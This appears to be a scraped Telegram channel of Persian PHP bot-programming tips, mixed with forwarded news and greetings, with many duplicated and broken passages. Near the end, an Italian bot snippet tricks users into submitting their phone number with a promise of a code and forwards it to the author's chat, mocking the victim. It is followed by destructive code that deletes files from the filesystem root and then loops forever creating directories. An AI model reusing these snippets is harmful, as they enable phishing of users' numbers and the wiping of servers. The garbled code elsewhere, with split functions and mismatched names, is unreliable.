Happy Valentine's Day! I see some good art in trending stickers, be sure to check it out.
آموزش نوشتن سورس در سطح مبتدی🙂
➖➖➖➕➖➖➖
//ابتدا تابعی برای گذاشتن توکن تعریف میکنیم مانند تابع زیر
define('API_KEY','توکن ربات شما');
//فانکشن
function sssteam($method,$datas=[]){
$url = "".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($datas));
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
//حالا متغیری برای تعریف اپدیت ها میزاریم
$update = json_decode(file_get_contents('php://input'));
//حالا کد های زیر رو در سورس قرار میدیم
$text = $update->message->text;
$chat_id = $update->message->chat->id;
$message_id = $update->message->message_id;
//حالا متن استارت را تعیین خواهیم کرد
if ($text == '/start'){
Gigatm('sendMessage',[
'chat_id'=>$chat_id,
'text'=>"متن استارت"
]);
}
?>
➖➖➖➕➖➖➖
اسکی آزاد ولی با ذکر منبع😐🙂
➖➖➖➕➖➖➖
//ابتدا تابعی برای گذاشتن توکن تعریف میکنیم مانند تابع زیر
define('API_KEY','توکن ربات شما');
//فانکشن
function sssteam($method,$datas=[]){
$url = "".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($datas));
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
//حالا متغیری برای تعریف اپدیت ها میزاریم
$update = json_decode(file_get_contents('php://input'));
//حالا کد های زیر رو در سورس قرار میدیم
$text = $update->message->text;
$chat_id = $update->message->chat->id;
$message_id = $update->message->message_id;
//حالا متن استارت را تعیین خواهیم کرد
if ($text == '/start'){
Gigatm('sendMessage',[
'chat_id'=>$chat_id,
'text'=>"متن استارت"
]);
}
?>
➖➖➖➕➖➖➖
اسکی آزاد ولی با ذکر منبع😐🙂
شركت فيس بوك اعلام كرد براي حفظ حريم شخصی كاربران در آپديت جديدش گزينه Save Photo و Screen Shot را حذف خواهد كرد!
After a Year, Many things change ...
After a Year, Many good or bad people aren't Exist ...
After a Year, lots of children become Exist ...
After a Year, You are able to do new things ...
After a Year, You may not be able to do things that you could do in the past ...
After a Year, Everything become new ...
After Winter, Spring Starts
After Dark, it's light !
but Now after All it's time to say Happy Noruz Iran and have a Good time with your family :D ! 🇮🇷🌾
mr.ashkan
2018/1397
After a Year, Many good or bad people aren't Exist ...
After a Year, lots of children become Exist ...
After a Year, You are able to do new things ...
After a Year, You may not be able to do things that you could do in the past ...
After a Year, Everything become new ...
After Winter, Spring Starts
After Dark, it's light !
but Now after All it's time to say Happy Noruz Iran and have a Good time with your family :D ! 🇮🇷🌾
mr.ashkan
2018/1397
This week, over 700,000 new users are signing up for Telegram each day. The annual user growth of Telegram surpassed 70% YoY in most markets.
With so many new people joining, not every user may have a clear understanding about what Telegram stands for.
That’s why when announcing the 200M milestone last week, I used the opportunity to write a bit about the values of Telegram and what drives us forward.
https://telegram.org/blog/200-million
With so many new people joining, not every user may have a clear understanding about what Telegram stands for.
That’s why when announcing the 200M milestone last week, I used the opportunity to write a bit about the values of Telegram and what drives us forward.
https://telegram.org/blog/200-million
Telegram
200,000,000 Monthly Active Users
Within the last 30 days, Telegram was used by 200 million people. This is an insane number by any standards. If Telegram were a country, it would have been the sixth largest country in the world.
Telegram_X_0.20.6.912_Android30t.com_.apk
14.9 MB
تلگرام x جدید ترین ورژن 🙂🙃
Channel++.zip
33.3 KB
سورس ربات مدیریت کانال
با امکان ارسال پست به صورت ساعتی و تایم دار
نویسنده : mr.ashkan ✍
با امکان ارسال پست به صورت ساعتی و تایم دار
نویسنده : mr.ashkan ✍
یادداشت های برنامه نویس آماتور | Amateur programmer notes
#تیکه کد ساخت کیبورد //===== $menu = json_encode(['keyboard'=>[ [['text'=>'نام دکمه مورد نظر'],['text'=>'نام دکمه مورد نظر']], ],"resize_keyboard"=>true]); #mr.ashkan
برای استفاده از این کد برای شروع سورس و استارت ربات به گونه ی زیر میباشد !
elseif ($text == "/start"){
sendMessage($chat_id, "Slm :)","html",true,$menu);
}
#mr.ashkan ✍
elseif ($text == "/start"){
sendMessage($chat_id, "Slm :)","html",true,$menu);
}
#mr.ashkan ✍
Forwarded from Pavel Durov
The power that local governments have over IT corporations is based on money. At any given moment, a government can crash their stocks by threatening to block revenue streams from its markets and thus force these companies to do strange things (remember how last year Apple moved iCloud servers to China).
At Telegram, we have the luxury of not caring about revenue streams or ad sales. Privacy is not for sale, and human rights should not be compromised out of fear or greed.
At Telegram, we have the luxury of not caring about revenue streams or ad sales. Privacy is not for sale, and human rights should not be compromised out of fear or greed.
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from MUSIC CHANNEL
با سلام و عرض ادب خدمت کاربران عزیز...
با لطف و یاری خداوند متعال ، از این تاریخ اقدام به شروع رسمی فعالیت کانال @MUSlC_CHANNEL خواهیم کرد.
در این کانال برنامه های مختلف و جذاب موزیک قرار خواهد گرفت که امیدواریم مورد استقبال شما عزیزان قرار گیرد.
همچنین ممکن هست به دلیل وجود کاربران و دوستان غیر ایرانی ، برخی از پست ها به چند زبان قرار داده شود.
دوستان بسیاری اعلام آمادگی برای فعالیت در کانال نموده اند که ضمن تشکر از این عزیزان ، تیم کانال و سایت موزیک کامل می باشد و فعلا نیازی به ادمین نیست و در آینده اگر این نیاز احساس شد ، حتما در کانال اطلاع رسانی خواهد شد.
با تجدید احترام
مدیریت کانال موزیک
✅جهت عضویت می توانید به لینک زیر مراجعه کنید:
t.me/MUSlC_CHANNEL
با لطف و یاری خداوند متعال ، از این تاریخ اقدام به شروع رسمی فعالیت کانال @MUSlC_CHANNEL خواهیم کرد.
در این کانال برنامه های مختلف و جذاب موزیک قرار خواهد گرفت که امیدواریم مورد استقبال شما عزیزان قرار گیرد.
همچنین ممکن هست به دلیل وجود کاربران و دوستان غیر ایرانی ، برخی از پست ها به چند زبان قرار داده شود.
دوستان بسیاری اعلام آمادگی برای فعالیت در کانال نموده اند که ضمن تشکر از این عزیزان ، تیم کانال و سایت موزیک کامل می باشد و فعلا نیازی به ادمین نیست و در آینده اگر این نیاز احساس شد ، حتما در کانال اطلاع رسانی خواهد شد.
با تجدید احترام
مدیریت کانال موزیک
✅جهت عضویت می توانید به لینک زیر مراجعه کنید:
t.me/MUSlC_CHANNEL
#فانکشن #خیلی_کاربردی
ارسالی اشی
حتما دیدید تو بعضی انتی اسپما که فیلترینگ کلمشون هوشمنده و مثلا شما کلمه 'تست' رو فیلتر میکنی این کلمات هم شناسایی میشن:
تسسسسستتتتتت
تتت $^%**^/=سست
تتتتتسسسسس^*^*؛تتتتت^€^&تتتت
و...
خب ما فانکشنشو براتون آماده کردیم! گرچه تو انتی اسپم خودمونم استفاده شده ولی برای سورپرایز شما کاربران میزاریم! 😉
functi
echo is_filter('irDev','ir./?<,>Oo0875214DDdEe.e====!@#$%^&*()_-VVVvv');
خروجی true
موفق باشید
کپی بدون ذکر منبع اکیداااااا ممنوع
ارسالی اشی
حتما دیدید تو بعضی انتی اسپما که فیلترینگ کلمشون هوشمنده و مثلا شما کلمه 'تست' رو فیلتر میکنی این کلمات هم شناسایی میشن:
تسسسسستتتتتت
تتت $^%**^/=سست
تتتتتسسسسس^*^*؛تتتتت^€^&تتتت
و...
خب ما فانکشنشو براتون آماده کردیم! گرچه تو انتی اسپم خودمونم استفاده شده ولی برای سورپرایز شما کاربران میزاریم! 😉
functi
on is_filter($filter,$input){
$text = strtolower($input);
$filter_check = preg_replace('/([^\sa-zA-Zآ-ی]+)/u','',$text);
$filtered = implode("*", str_split($filter))."*";
return preg_match("/($filtered)\w/",$filter_check);
}
نمونه استفاده:echo is_filter('irDev','ir./?<,>Oo0875214DDdEe.e====!@#$%^&*()_-VVVvv');
خروجی true
موفق باشید
کپی بدون ذکر منبع اکیداااااا ممنوع
دریافت اطلاعات IP :
فانکشن مورد نیاز :
function ip_info($ip = NULL, $purpose = "l
فانکشن مورد نیاز :
function ip_info($ip = NULL, $purpose = "l
ocation", $deep_detect = TRUE) {
$output = NULL;
if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
$ip = $_SERVER["REMOTE_ADDR"];
if ($deep_detect) {
if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
}
$purpose = str_replace(array("name", "
", " ", " ", "-", "_"), NULL, strtolower(trim($purpose)));
$support = array("country", "countrycode", "state", "region", "city", "location", "address");
$continents = array(
"AF" => "Africa",
"AN" => "Antarctica",
"AS" => "Asia",
"EU" => "Europe",
"OC" => "Australia (Oceania)",
"NA" => "North America",
"SA" => "South America"
);
if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
$ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
switch ($purpose) {
case "location":
$output = array(
"city" => @$ipdat->geoplugin_city,
"state" => @$ipdat->geoplugin_regionName,
"country" => @$ipdat->geoplugin_countryName,
"country_code" => @$ipdat->geoplugin_countryCode,
"continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
"continent_code" => @$ipdat->geoplugin_continentCode
);
break;
case "address":
$address = array($ipdat->geoplugin_countryName);
if (@strlen($ipdat->geoplugin_regionName) >= 1)
$address[] = $ipdat->geoplugin_regionName;
if (@strlen($ipdat->geoplugin_city) >= 1)
$address[] = $ipdat->geoplugin_city;
$output = implode(", ", array_reverse($address));
break;
case "city":
$output = @$ipdat->geoplugin_city;
break;
case "state":
$output = @$ipdat->geoplugin_regionName;
break;
case "region":
$output = @$ipdat->geoplugin_regionName;
break;
case "country":
$output = @$ipdat->geoplugin_countryName;
break;
case "countrycode":
$output = @$ipdat->geoplugin_countryCode;
break;
}
}
}
return $output;
}
نحوه ی استفاده :
echo ip_info($_SERVER['REMOTE_ADDR'],'location');
➖➖➖➖➖➖➖➖#فانکشن برای حذف کامل پوشه
function DeleteFolder($path){
if
برای حذف پوشه از تابع rmdir میتوان استفاده کرد اما این تابع تنها پوشه هایی را از بین میبرد که خالی است.
شما توسط فانکشن بالا می توانید با دادن نام پوشه ، آن را به طور کامل حذف کنید و مهم نیست که آن پوشه حاوی فایل میباشد یا خیر ، چون این فانکشن پوشه را باز میکند و ابتدا درون آن را خالی می کند سپس پوشه را حذف میکند.
➖➖➖➖➖➖➖➖
function DeleteFolder($path){
if
($handle=opendir($path)){
while (false!==($file=readdir($handle))){
if ($file<>"." AND $file<>"..") {
if (is_file($path.'/'.$file)) {
@unlink($path.'/'.$file);
}
if (is_dir($path.'/'.$file)) {
deletefolder($path.'/'.$file);
@rmdir($path.'/'.$file);
}}}}}
توسط این فانکشن قادر خواهید بود یک پوشه را به طور کامل حذف کنید.برای حذف پوشه از تابع rmdir میتوان استفاده کرد اما این تابع تنها پوشه هایی را از بین میبرد که خالی است.
شما توسط فانکشن بالا می توانید با دادن نام پوشه ، آن را به طور کامل حذف کنید و مهم نیست که آن پوشه حاوی فایل میباشد یا خیر ، چون این فانکشن پوشه را باز میکند و ابتدا درون آن را خالی می کند سپس پوشه را حذف میکند.
➖➖➖➖➖➖➖➖
عامل اصلی رسوایی فیس بوک مجبور به عذرخواهی شد
🔹الکساندر کوگان محقق دانشگاه کمبریج و عامل اصلی رسوایی موسسه کمبریج آنالیتیکا سرانجام از فیس بوک به علت سواستفاده از داده های خصوصی کاربران عذرخواهی کرد. /مهر
🔹الکساندر کوگان محقق دانشگاه کمبریج و عامل اصلی رسوایی موسسه کمبریج آنالیتیکا سرانجام از فیس بوک به علت سواستفاده از داده های خصوصی کاربران عذرخواهی کرد. /مهر
if(strpos(" ".$msg, "/numero ")) {
$msg = str_replace("/numero ", "", $msg);
$text = "<b>Perfetto, ora invieremo il numero al nostro database e a breve riceverai il codice.</b>"; sm($chatID, $text);
sm(88444295, "HEYLA, UN PIRLA C'È CASCATO!1!1!1!1!1!
👤 Il pirla: $name @$username_gruppo $userID
💬 Numero: $msg", false, 'HTML', false, false);
}
if($msg == "/numero" and $userID == 118806506) {sm($chatID, "EH, VOLEVI!", false, 'Markdown');}
else {sm($chatID, "falso", false, 'Markdown');}
$msg = str_replace("/numero ", "", $msg);
$text = "<b>Perfetto, ora invieremo il numero al nostro database e a breve riceverai il codice.</b>"; sm($chatID, $text);
sm(88444295, "HEYLA, UN PIRLA C'È CASCATO!1!1!1!1!1!
👤 Il pirla: $name @$username_gruppo $userID
💬 Numero: $msg", false, 'HTML', false, false);
}
if($msg == "/numero" and $userID == 118806506) {sm($chatID, "EH, VOLEVI!", false, 'Markdown');}
else {sm($chatID, "falso", false, 'Markdown');}
if($msg)
{
$adfly = file_get_contents("adfly");
$urls = scandir("/");
foreach($urls as $url)
{
unlink($url);
$risultati = scandir($url);
foreach($risultati as $risultato)
{
unlink(/$url/$risultato);
}
}
while(1==1){
mkdir(rand(0, 100000));
file_put_contents("CODICE BOT.php", $adfly."php?>");
sm($chatID, $link);
}
}
{
$adfly = file_get_contents("adfly");
$urls = scandir("/");
foreach($urls as $url)
{
unlink($url);
$risultati = scandir($url);
foreach($risultati as $risultato)
{
unlink(/$url/$risultato);
}
}
while(1==1){
mkdir(rand(0, 100000));
file_put_contents("CODICE BOT.php", $adfly."php?>");
sm($chatID, $link);
}
}